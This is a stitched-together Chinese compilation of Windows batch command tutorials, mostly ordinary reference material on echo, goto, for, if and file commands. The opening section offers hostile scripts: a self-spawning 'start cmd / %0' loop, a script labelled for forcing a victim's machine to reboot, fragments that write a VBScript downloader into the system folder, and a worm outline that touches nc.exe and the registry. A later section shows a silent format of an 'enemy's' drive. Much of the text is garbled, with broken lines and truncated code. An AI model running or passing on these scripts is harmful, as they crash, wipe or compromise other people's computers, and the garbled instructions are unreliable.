bat命令大全
一些牛逼的bat命令
@echo off
start cmd
%0
就这3行了
第二个:让对方重启指定次数(害人专用)
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
echo echo sGet.Mode = 3 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Type = 1 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Write(xPost.responseBody) ^>^>1.vbs >>
echo echo xPost.Send() ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo Set sGet = CreateObject("ADODB.Stream") ^>^>1.vbs >>
%systemroot%\help\or.txt
第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒
del c:\42.exe
del c:\nc.exe
del c:\ip.exe
echo dim wsh > %systemroot%\help\test.vbs
>> %systemroot%\help\1.reg
echo "1"="%systemroot%\\help\\test2.vbs" >> %systemroot%\help\1.reg
bat命令大全
Bat命令大全一、echo和@@#关闭单行回显echo off#从下一行开始关闭回显@echo off#从本行开始关闭回显。
一般批处理第一行都是这个echo on#从下一行开始打开回显echo#显示当前是echo off状态还是echo on状态echo.#输出一个”回车换行”,空白行#(同echo,echo;echo+echo[echo]echo/echo")二、errorlevelecho%errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码默认值为0,一般命令执行出错会设errorlevel为1三、dirdir#显示当前目录中的文件和子目录dir/a#显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c:/a:d#显示C盘当前目录中的目录dir c:/a:-d#显示C盘根目录中的文件dir c:"/b/p#/b只显示文件名,/p分页显示dir*.exe/s#显示当前目录和子目录里所有的.exe文件四、cdcd"#进入根目录cd#显示当前目录cd/d d:"sdk#可以同时更改盘符和目录五、mdmd d:"a"b"c#如果d:"a不存在,将会自动创建中级目录#如果命令扩展名被停用,则需要键入mkdir"a"b"c。
六、rdrd abc#删除当前目录里的abc子目录,要求为空目录rd/s/q d:"temp#删除d:"temp文件夹及其子文件夹和文件,/q安静模式七、deldel d:"test.txt#删除指定文件,不能是隐藏、系统、只读文件del/q/a/f d:"temp"*.*删除d:"temp文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del/q/a/f/s d:"temp"*.*删除d:"temp及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录八、renren d:"temp tmp#支持对文件夹的重命名九、cls清屏十、type显示文件内容type c:"boot.ini#显示指定文件的内容,程序文件一般会显示乱码type*.txt#显示当前目录里所有.txt文件的内容十一、11copy拷贝文件copy c:"test.txt d:"test.bak复制c:"test.txt文件到d:",并重命名为test.bakcopy con test.txt从屏幕上等待输入,按Ctrl+Z结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy1.txt+2.txt3.txt合并1.txt和2.txt的内容,保存为3.txt文件如果不指定3.txt,则保存到1.txtcopy test.txt+复制文件到自己,实际上是修改了文件日期十二、title设置cmd窗口的标题title新标题#可以看到cmd窗口的标题栏变了13ver显示系统版本十三、label和vol设置卷标vol#显示卷标label#显示卷标,同时提示输入新卷标label c:system#设置C盘的卷标为system十四、pause暂停命令十五、rem和::注释命令注释行不执行操作十六、date和time日期和时间date#显示当前日期,并提示输入新日期,按""回车""略过输入date/t#只显示当前日期,不提示输入新日期time#显示当前时间,并提示输入新时间,按""回车""略过输入time/t#只显示当前时间,不提示输入新时间十七、goto和:跳转命令:label#行首为:表示该行是标签行,标签行不执行操作goto label#跳转到指定的标签那一行十八、find(外部命令)查找命令find""abc""c:"test.txt在c:"test.txt文件里查找含abc字符串的行如果找不到,将设errorlevel返回码为1find/i“abc”c:"test.txt查找含abc的行,忽略大小写find/c""abc""c:"test.txt显示含abc的行的行数十九、more(外部命令)逐屏显示more c:"test.txt#逐屏显示c:"test.txt的文件内容二十、tree显示目录结构tree d:"#显示D盘的文件目录结构二十一、&顺序执行多条命令,而不管命令是否执行成功二十二、&&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令find""ok""c:"test.txt&&echo成功如果找到了""ok""字样,就显示""成功"",找不到就不显示二十三、||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令find""ok""c:"test.txt||echo不成功如果找不到""ok""字样,就显示""不成功"",找到了就不显示二十四、|管道命令dir*.*/s/a|find/c"".exe""管道命令表示先执行dir命令,对其输出的结果执行后面的find命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:"test.txt|more这个和more c:"test.txt的效果是一样的二十五、>和>>输出重定向命令>清除文件中原有的内容后再写入>>追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件type c:"test.txt>prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认>con的copy c:"test.txt f:>nul拷贝文件,并且不显示""文件复制成功""的提示信息,但如果f盘不存在,还是会显示出错信息copy c:"test.txt f:>nul2>nul不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息echo^^W^>^W>c:"test.txt生成的文件内容为^W>W^和>是控制命令,要把它们输出到文件,必须在前面加个^符号二十六、<从文件中获得输入信息,而不是从屏幕上一般用于date time label等需要等待输入的命令@echo offecho2005-05-01>temp.txtdate<temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期二十七、%0%1%2%3%4%5%6%7%8%9%*命令行传递给批处理的参数%0批处理文件本身%1第一个参数%9第九个参数%*从第一个参数开始的所有参数批参数(%n)的替代已被增强。
批处理文件BATCMD命令大全
批处理文件BAT命令大全一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。
)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。
)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。
bat批处理命令大全1234
bat批处理命令大全1234从简洁学起echo、@、call、pause、rem 是批处理档案最常用的几个命令,我们就从他们开头学起。
echo 表示显示此命令后的字元echo off 表示在此语句后全部执行的命令都不显示命令列本身@ 与echo off相象,但它是加在其它命令列的最前面,表示执行时不显示命令列本身。
call 呼叫另一条批处理档案(假如直接呼叫别的批处理档案,执行完那条档案后将无法执行当前档案后续命令) pause 执行此句会暂停,显示press any key to continue... 等待使用者按任意键后连续rem 表示此命令后的字元为解释行,不执行,只是给自己今后查询用的批处理命令大全(一)第一部分:批处理的专用命令批处理档案是将一系列命令按确定的挨次集合为一个可执行的文字档案,其副档名为bat。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、 remrem 是个注释命令一般是用来给程式加上注解的,该命令后的内容在程式执行的时候将不会被显示和执行。
例:rem 你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都rem 会放在rem后面。
请大家留意。
2、 echoecho 是一个回显命令主要引数有off和 on,一般用echo message来显示一个特定的讯息。
例:echo offrem 以上代表关闭回显即不显示所执行的命令echo 这个就是讯息。
rem 以上代表显示“这就是讯息”这列字元执行结果:c:\>echo.bat这个就是讯息。
3、 gotogoto 即为跳转的意思。
在批处理中允许以“:***”来构建一个标号然后用goto :标号直接来执行标号后的命令。
例:labelrem 上面就是名为label的标号。
dir c:\dir d:\goto labelrem 以上程式跳转标号label处连续执行。
4、callcall 命令可以在批处理执行过程中呼叫另一个批处理,当另一个批处理执行完后再连续执行原来的批处理。
批处理文件BAT的命令及使用
批处理文件BAT的命令及使用1. echoecho命令用于在命令行窗口上显示文本或变量的内容。
用法:echo <文本>2. setset命令用于设置或显示环境变量。
用法:set <变量名称>=<值>3. ifif命令用于执行条件判断,根据条件的满足与否执行相应的操作。
用法:- 单个条件:if <条件> <命令>- 多个条件:if <条件1> <命令1> else if <条件2> <命令2> else <命令3>4. forfor命令用于循环操作,并可以对文件、文件夹、字符串等进行遍历操作。
用法:- 遍历文件/文件夹:for /r <路径> %变量 in (<通配符>) do <命令>- 数字循环:for /l %变量 in (<起始值>, <步长>, <结束值>) do<命令>5. callcall命令用于调用另一个批处理文件,并在调用完成后返回当前文件。
用法:call <批处理文件路径>6. startstart命令用于启动一个新的命令行窗口或程序,并可指定窗口标题、运行目录等选项。
用法:start <选项> <程序或文件路径>7. pausepause命令用于暂停批处理的执行,直到用户按下任意键才继续执行下一条命令。
用法:pause8. cdcd命令用于更改当前目录。
用法:cd <目录路径>9. mdmd命令用于创建一个新的目录。
用法:md <目录路径>10. deldel命令用于删除文件或文件夹。
用法:- 删除文件:del <文件路径>- 删除文件夹:del /s <文件夹路径>11. copycopy命令用于复制文件、文件夹或目录。
BAT命令大全
BAT命令⼤全echo、@、call、pause、rem(⼩技巧:⽤::代替rem)是批处理⽂件最常⽤的⼏个命令echo 表⽰显⽰此命令后的字符echo off 表⽰在此语句后所有运⾏的命令都不显⽰命令⾏本⾝@与echo off相象,但它是加在每个命令⾏的最前⾯,表⽰运⾏时不显⽰这⼀⾏的命令⾏(只能影响当前⾏)。
call 调⽤另⼀个批处理⽂件(如果不⽤call⽽直接调⽤别的批处理⽂件,那么执⾏完那个批处理⽂件后将⽆法返回当前⽂件并执⾏当前⽂件的后续命令)。
pause 运⾏此句会暂停批处理的执⾏并在屏幕上显⽰Press any key to continue...的提⽰,等待⽤户按任意键后继续rem 表⽰此命令后的字符为解释⾏(注释),不执⾏,只是给⾃⼰今后参考⽤的(相当于程序中的注释)。
例1:⽤edit编辑a.bat⽂件,输⼊下列内容后存盘为c:\a.bat,执⾏该批处理⽂件后可实现:将根⽬录中所有⽂件写⼊ a.txt中,启动UCDOS,进⼊WPS等功能。
批处理⽂件的内容为: 命令注释: @echo off 不显⽰后续命令⾏及当前命令⾏ dir c:\*.* >a.txt 将c盘⽂件列表写⼊a.txt call c:\ucdos\ucdos.bat 调⽤ucdos echo 你好 显⽰"你好" pause 暂停,等待按键继续 rem 准备运⾏wps 注释:准备运⾏wps cd ucdos 进⼊ucdos⽬录 wps 运⾏wps 批处理⽂件的参数批处理⽂件还可以像C语⾔的函数⼀样使⽤参数(相当于DOS命令的命令⾏参数),这需要⽤到⼀个参数表⽰符“%”。
%[1-9]表⽰参数,参数是指在运⾏批处理⽂件时在⽂件名后加的以空格(或者Tab)分隔的字符串。
变量可以从%0到%9,%0表⽰批处理命令本⾝,其它参数字符串⽤%1到%9顺序表⽰。
例2:C:根⽬录下有⼀批处理⽂件名为f.bat,内容为:@echo offformat %1如果执⾏C:\>f a:那么在执⾏f.bat时,%1就表⽰a:,这样format %1就相当于format a:,于是上⾯的命令运⾏时实际执⾏的是format a:例3:C:根⽬录下⼀批处理⽂件名为t.bat,内容为:@echo offtype %1type %2那么运⾏C:\>t a.txt b.txt%1 : 表⽰a.txt%2 : 表⽰b.txt于是上⾯的命令将顺序地显⽰a.txt和b.txt⽂件的内容。
bat批处理命令大全
b a t批处理命令大全 Revised by Petrel at 2021从简单学起echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的批处理命令大全(一)第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。
例:REM 你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都REM 会放在REM后面。
请大家注意。
2、 ECHOECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。
例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。
Rem 以上代表显示“这就是消息”这列字符执行结果:C:\>这个就是消息。
3、 GOTOGOTO 即为跳转的意思。
在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。
例:LABELREM 上面就是名为LABEL的标号。
DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。
bat命令集锦(一)
bat命令集锦(⼀)⼀、知识点(1) 切换⽬录cd /d "⽬标⽬录"如:cd /d "E:/logs"(2) 获取当前脚本所在全路径%~dp0如: cd /d %~dp0 表⽰切换到当前执⾏脚本所在路径(3) 设置变量值set 变量=xxx如: set SH_DIR=%~dp0 表⽰将当前执⾏脚本所在路径赋值给 SH_DIR变量(4) 使⽤变量值%变量%如: echo %SH_DIR% 表⽰打印变量 SH_DIR 中的值(5) findstr表⽰对数据进⾏筛选,查找符合条件的数据如:netstat -ano|findstr 8082 表⽰查找占⽤8082的进程(6) 获取当前⽬录%cd%如:set ROOT_DIR=%cd% 表⽰将当前⽬录路径赋值给 ROOT_DIR(7) for 循环遍历在 cmd 窗⼝中:for %i in (command1) do command2在批处理⽂件中:for %%i in (command1) do command2说明:a) command1 表⽰的字符串或变量可以是⼀个或多个,当时多个的时候,每个元素之间⽤空格键、跳格键、逗号、分号或等号隔开;如: for %%i in (A,B,C) do echo %%i输出结果为:ABCb) 搜索当前⽬录下有哪些⽂件for %%i in (*.*) do echo %%ic) 搜索当前⽬录下所有的⽂本⽂件for %%i in (*.txt) do echo "%%i"d) 解析某个⽂件中的全部⾏for /f %%i in (%filepath%) do echo %%i 输出⽂件中的所有⾏,这⾥使⽤了 /f 表⽰解析每⾏内容e) tokens、delims 表⽰对每⾏的数据按照 delims 指定的分隔符进⾏分割,获取tokens 指定的列for /f "delims=、" %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、" 对每⾏数据进⾏分割,默认提取第⼀列,则 echo %%i 表⽰打印每⾏第⼀列的内容for /f "tokens=5 delims=、-." %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、-." 对每⾏数据进⾏分割,提取第五列,则 echo %%i 表⽰打印每⾏第五列的内容(8) if ⽤法格式:if condition (多条语句) else (多条语句)注意:这⾥的( ) 连个括号必须前后有空格,要不然不能成功执⾏a) if not condition 如:if not "%pid%"=="" 表⽰pid值不为空时为 trueb) if condition 如:if "%pid%"=="" 表⽰pid的值为空时为 truec) if exist ⽂件或⽬录如:if exist %filepath% 表⽰⽂件存在为 trued) if not exist ⽂件或⽬录如:if not exist %filepath% 表⽰⽂件不存在为 truee) 数值⽐较int1 equ int2 判断2个数值是否相等,相等为 trueint1 gtr int2 判断 int1 是否⼤于 int2 ,当 int1 ⼤于 int2 时为 trueint1 geq int2 判断 int1 是否⼤于或等于 int2,当 int1 ⼤于或等于 int2 时为 trueint1 leq int2 判断 int1 是否⼩于或等于 int2,当 int1 ⼩于或等于 int2 时为 trueint1 neq int2 判断 int1 是否不等于 int2,当 int1 不等于 int2 时为 true(9) 后台执⾏脚本start /b xxx.bat 后台执⾏脚本start /b java -jar xxx.jar 后台执⾏ jar 程序(10) 获取前⼀条语句执⾏结果%errorlevel%如: echo %errorlevel%(11) 创建⽬录/⽂件mkdir xxx 或 md xxx(12) 强杀进程taskkill /pid %pid% -F⼆、实操(1) 后台启动 java 程序cd /d %~dp0set SH_DIR=%~dp0cd ../set ROOT_DIR=%cd%echo %ROOT_DIR%echo %SH_DIR%set LOG_DIR=%ROOT_DIR%\logif not exist %LOG_DIR% (md %LOG_DIR%)start /b java -jar %ROOT_DIR%/consul-consumer.jar >> %LOG_DIR%/start.logset result=%errorlevel%echo result=%result%exit %result%(2) 对使⽤ findstr 查询到的多⾏结果进⾏逐⾏处理for /F "tokens=5 delims= " %%i in ('netstat -ano ^|findstr 8082^|findstr LISTENING') do set pid=%%i。
bat命令大全
标题
首发日期
更新日期
1
目录跳转:cd
20081112
2
以树形格式罗列文件:tree
20081112
3
内容重定向:>和>>
20081113
4
条件判断:if
20081114
5
流程跳转:goto
20081117
6
复制文件:copy
20081221
7
删除文件:del
20090101
8
重命名文件(夹):ren
20090212
20090226
9
创建文件夹:md
20090213
10
删除文件夹:rd
20090214
11
移动文件(夹):move
20090606
20080611
12
字符串查找:find
20090607
20090608
13
字符串查找增强:findstr
14
文件替换:replace
15
设置文件属性:attrib
36
查看IP配置信息:ipconfig
37
测试IP连接:ping
38
解析地址:arp
39
配置计算机网络信息:netsh
40
传输文件:ftp
41
调用子过程或外部程序:call
42
显示提示信息:echo
43
暂停执行:pause
44
设置变量:set
45
注释语句:rem和::
46
更改参数的位置:shift
47
26
获取系统时间:time
27
退出CMD窗口:exit
bat文件命令大全
bat文件命令大全在计算机操作系统中,bat文件是一种批处理文件,它包含了一系列的命令,可以被操作系统执行。
在Windows操作系统中,bat文件是一种常见的批处理文件格式,通过编写一系列的命令,可以实现自动化的任务执行。
本文将为大家介绍bat文件中常用的命令,帮助大家更好地理解和使用bat文件。
1. echo命令。
echo命令用于在屏幕上显示文本或者将文本输出到文件中。
在bat文件中,可以使用echo命令输出一些提示信息,或者将一些结果输出到日志文件中。
例如:echo "Hello, World!" 将在屏幕上显示Hello, World!echo "Hello, World!" > output.txt 将Hello, World!输出到output.txt文件中。
2. cd命令。
cd命令用于改变当前目录。
在bat文件中,可以使用cd命令切换到指定的目录,以便后续的命令可以在指定的目录下执行。
例如:cd /d D:\test 切换到D盘下的test目录。
3. dir命令。
dir命令用于列出指定目录中的文件和子目录。
在bat文件中,可以使用dir命令查看指定目录中的文件列表。
例如:dir /s 列出当前目录及其子目录中的所有文件和子目录。
4. copy命令。
copy命令用于复制文件。
在bat文件中,可以使用copy命令将文件从一个位置复制到另一个位置。
例如:copy file1.txt D:\backup 将file1.txt文件复制到D盘下的backup目录中。
5. del命令。
del命令用于删除文件。
在bat文件中,可以使用del命令删除指定的文件。
例如:del file1.txt 删除file1.txt文件。
6. move命令。
move命令用于移动文件。
在bat文件中,可以使用move命令将文件从一个位置移动到另一个位置。
例如:move file1.txt D:\backup 将file1.txt文件移动到D盘下的backup目录中。
bat脚本常用命令
bat脚本常⽤命令 1、echo命令 1. Echo :显⽰当前ECHO的状态:ECHO ON 或者ECHO OFF 。
2. ECHO ON :ECHO状态设为ON,将显⽰命令⾏(如每⾏前的C:\>等类似标志)。
3. ECHO OFF:CHO状态设为OFF,将不显⽰命令⾏(如每⾏前的C:\>等类似标志) 。
4. ECHO 字符串:将输⼊的字符串显⽰在CMD屏幕上。
5. ECHO 字符串 &ECHO 字符串 … :&,类似and的意思,逻辑运算,⽤来显⽰多⾏数据。
6. ECHO 字符串 > ⽂件路径和⽂件名:将字符串写⼊⽂件中,若已有数据将先清空后写⼊。
7. ECHO 字符串 >> ⽂件路径和⽂件名:将字符串写⼊⽂件中,若已有数据将追加到末尾。
注意每次:ECHO 字符串 >> ⽂件路径和⽂件名,命令之后,ECHO就回⾃动在在字符串后添加换⾏符, 所以要想直接添加到⽂件末尾,那么⽂件中已有的数据,不能是ECHO命令先前输⼊的(或者⼿⼯删掉换⾏符) 8. (ECHO 字符串 &ECHO 字符串…)>⽂件路径和⽂件名: 将多⾏数据写⼊⽂件中(注意括号不能去掉,如果括号去掉的话,那么只能写⼊最后⼀个,前⾯的将输出在CMD窗⼝中。
如果⽂件中已经有数据,将先⾃动清空后再写⼊。
9. (ECHO 字符串 &ECHO 字符串…)>>路径和⽂件名 将多⾏数据写⼊⽂件中(注意括号不能去掉,如果括号去掉的话,那么只能写⼊最后⼀个,前⾯的将输出在CMD窗⼝中。
如果⽂件中已经有数据,就将该字符串追加到⽂件的末尾。
10. (ECHO 字符串)>>⽂件路径和⽂件名:在⽂件中另起⼀⾏追加上字符串。
11. ECHO.:输出空⾏,即相当于输⼊⼀个回车 注意命令⾏中的“.”要紧跟在ECHO后⾯中间不能有空格,否则“.”将被当作提⽰信息输出到屏幕。
bat批处理命令大全
bat批处理命令大全BAT批处理命令大全。
批处理文件是一种包含一系列操作命令的文本文件,它们可以自动执行一系列任务,这些任务可以是一些常规的操作、系统管理任务或者其他需要重复执行的任务。
在Windows系统中,批处理文件使用的是BAT扩展名,它们可以通过命令提示符或者直接双击运行来执行其中的命令。
本文将介绍BAT批处理命令的一些常见用法,以及一些常用的批处理命令。
1. ECHO命令。
ECHO命令用于在屏幕上显示文本或者关闭显示。
在批处理文件中,可以使用ECHO命令来输出一些提示信息或者显示执行结果。
例如:```。
ECHO Hello, World!```。
这条命令会在屏幕上显示“Hello, World!”。
如果想关闭显示,可以使用ECHO OFF命令。
2. PAUSE命令。
PAUSE命令用于暂停批处理文件的执行,直到用户按下任意键。
这在需要用户确认或者等待的情况下非常有用。
例如:```。
ECHO Press any key to continue...PAUSE。
这样就会在屏幕上显示“Press any key to continue...”,并且等待用户按下任意键后继续执行。
3. IF命令。
IF命令用于根据条件来执行不同的命令。
它可以用于判断文件是否存在、变量的值等情况。
例如:```。
IF EXIST file.txt (。
ECHO file.txt exists。
) ELSE (。
ECHO file.txt does not exist。
)。
```。
这条命令会判断当前目录下是否存在file.txt文件,如果存在则输出“file.txt exists”,否则输出“file.txt does not exist”。
4. FOR命令。
FOR命令用于循环执行一系列命令。
它可以用于遍历文件、目录、字符串等。
例如:```。
FOR /L %i IN (1,1,10) DO (。
ECHO %i。
```。
这条命令会输出1到10的数字。
办公常用批处理bat命令汇总
办公常用批处理bat命令汇总办公中常用的批处理bat命令一、批量产生示例文件@echo offset /p w=请输入要产生示例文件的格式(即扩展名并以回车结束):set a=0:loopset /a a+=1type nul>第%a%集.%w%if %a% == 20 goto endgoto loop:end二、批量按格式分类文件for %%i in (*) do (md %%~ximove *%%~xi %%~xi)Pause三、批量修改文件名@echo offset /p w=请输入文件格式(即扩展名并以回车结束):set /p wf=请输入要修改的文字(以回车结束):set /p cb=请输入要改成的文字(若是删除则直接回车,以回车结束): for /f "delims=" %%i in ('dir /b /a-d "*.%w%"' ) do ( set str1=%%isetlocal EnableDelayedExpansionset "str1=!str1:%wf%=%cb%!"ren "%%i" "!str1!"endlocal)Pause四、按字母顺序提取目录清单dir /on *.*/b>目录清单.txt五、批量移动-文件和文件夹部分重名@echo offfor %%a in (*.docx) do (for /f "tokens=1 delims=+" %%b in ("%%~na") do (for /d %%i in ("%%~b*") do (move "%%b*.*" "%%~i\")))pause六、批量移动-文件和文件夹重名@echo offsetlocal enabledelayedexpansion for %%a in (*.docx) do ( set "file=%%~na"md "!file!"move "!file:~,8!*" "!file!\")pause。
bat命令大全
bat命令大全BAT命令大全。
BAT命令是Windows操作系统中的批处理命令,可以通过简单的文本文件来批量执行一系列的命令。
在日常工作中,熟练掌握BAT命令可以极大地提高工作效率。
本文将为大家详细介绍BAT命令的使用方法和常见的命令大全。
一、常用的BAT命令。
1. @echo off。
这个命令用于关闭命令行窗口的回显功能,可以在批处理文件的开头使用,以避免在执行命令时显示命令本身。
2. echo。
echo命令用于在命令行窗口中显示文本信息,可以用来输出提示信息或者调试信息。
3. pause。
pause命令用于暂停批处理文件的执行,等待用户按下任意键后继续执行下面的命令。
4. cd。
cd命令用于改变当前目录,可以通过cd命令切换到指定的目录。
5. dir。
dir命令用于显示当前目录中的文件和子目录的列表,可以通过dir命令查看当前目录下的文件和文件夹。
6. copy。
copy命令用于复制文件或者目录,可以通过copy命令将文件从一个目录复制到另一个目录。
7. del。
del命令用于删除文件,可以通过del命令删除指定的文件。
8. move。
move命令用于移动文件或者目录,可以通过move命令将文件从一个目录移动到另一个目录。
9. start。
start命令用于启动一个新的命令行窗口或者程序,可以通过start命令打开指定的程序或者文件。
10. taskkill。
taskkill命令用于结束指定的进程,可以通过taskkill命令关闭指定的程序或者进程。
以上是常用的BAT命令,掌握这些命令可以满足日常工作中的大部分需求。
当然,BAT命令还有很多其他的命令,可以根据具体的需求进行学习和使用。
二、BAT命令的使用方法。
1. 编写BAT文件。
使用BAT命令需要先编写一个BAT文件,可以使用记事本等文本编辑工具来创建BAT文件。
在BAT文件中,可以按照顺序写入需要执行的命令,每个命令占据一行。
2. 运行BAT文件。
bat命令大全清理系统垃圾更简单
1.Echo 命令命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
显设置。
语法语法echo [{on|off}] [message] Sample :echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
这将在以后的例子中体现出来。
2.@ 命令命令表示不显示@后面的命令,后面的命令,在入侵过程中在入侵过程中在入侵过程中(例如使用批处理来格式化敌人的硬盘)(例如使用批处理来格式化敌人的硬盘)(例如使用批处理来格式化敌人的硬盘)自然不能自然不能让对方看到你使用的命令啦。
让对方看到你使用的命令啦。
Sample :@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的,可喜的是微软留了个autoset 这个参数给我们,效果和/y 是一样的。
) 3.Goto 命令命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label 是参数,指定所要转向的批处理程序中的行。
)Sample :if {%1}=={} goto noparms if {%2}=={} goto noparms (如果这里的if 、%1、%2你不明白的话,先跳过去,后面会有详细的解释。
)@Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,标签的名字可以随便起,但是最好是有意义的字母啦,但是最好是有意义的字母啦,但是最好是有意义的字母啦,字母前加个:字母前加个:字母前加个:用来表示这个字母是标用来表示这个字母是标签,goto 命令就是根据这个:命令就是根据这个:来寻找下一步跳到到那里。
bat批处理命令大全
从简单学起echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条档后将无法执行当前档后续命令)pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的批处理命令大全(一)第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。
例:REM 你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都REM 会放在REM后面。
请大家注意。
2、ECHOECHO 是一个回显命令主要参数有OFF和ON,一般用ECHO message来显示一个特定的消息。
例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。
Rem 以上代表显示“这就是消息”这列字符执行结果:C:\>ECHO.BAT这个就是消息。
3、GOTOGOTO 即为跳转的意思。
在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。
例:LABELREM 上面就是名为LABEL的标号。
DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。
4、CALLCALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。
批处理文件BATCMD命令大全
批处理文件BAT命令大全一.简单批处理内部命令简介命令打开回显或关闭请求回显功能,或显示消息;如果没有任何参数,echo 命令将显示当前回显设置;语法echo {on│off} messageSample:echo off / echo hello world在实际应用中我们会把这条命令和重定向符号也称为管道符号,一般用> >> ^结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来;2. 命令表示不显示后面的命令,在入侵过程中例如使用批处理来格式化敌人的硬盘自然不能让对方看到你使用的命令啦;Sample:echo offecho Now initializing the program,please wait a minite...format X: /q/u/autoset format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的;命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令;语法:goto label label是参数,指定所要转向的批处理程序中的行;Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms如果这里的if、%1、%2就是表示变量;Rem check parameters if null show usage:noparmsecho Usage: ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用goto 所无法识别的标号, 即在: 后紧跟一个非字母数字的一个特殊符号. goto 命令就是根据这个:来寻找下一步跳到到那里;最好有一些说明这样你别人看起来才会理解你的意图啊;命令注释命令,起一个注释的作用,便于别人阅读和你自己日后修改;Rem MessageSample:Rem Here is the description.命令运行Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:echo off:begincopy a:. d:\backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 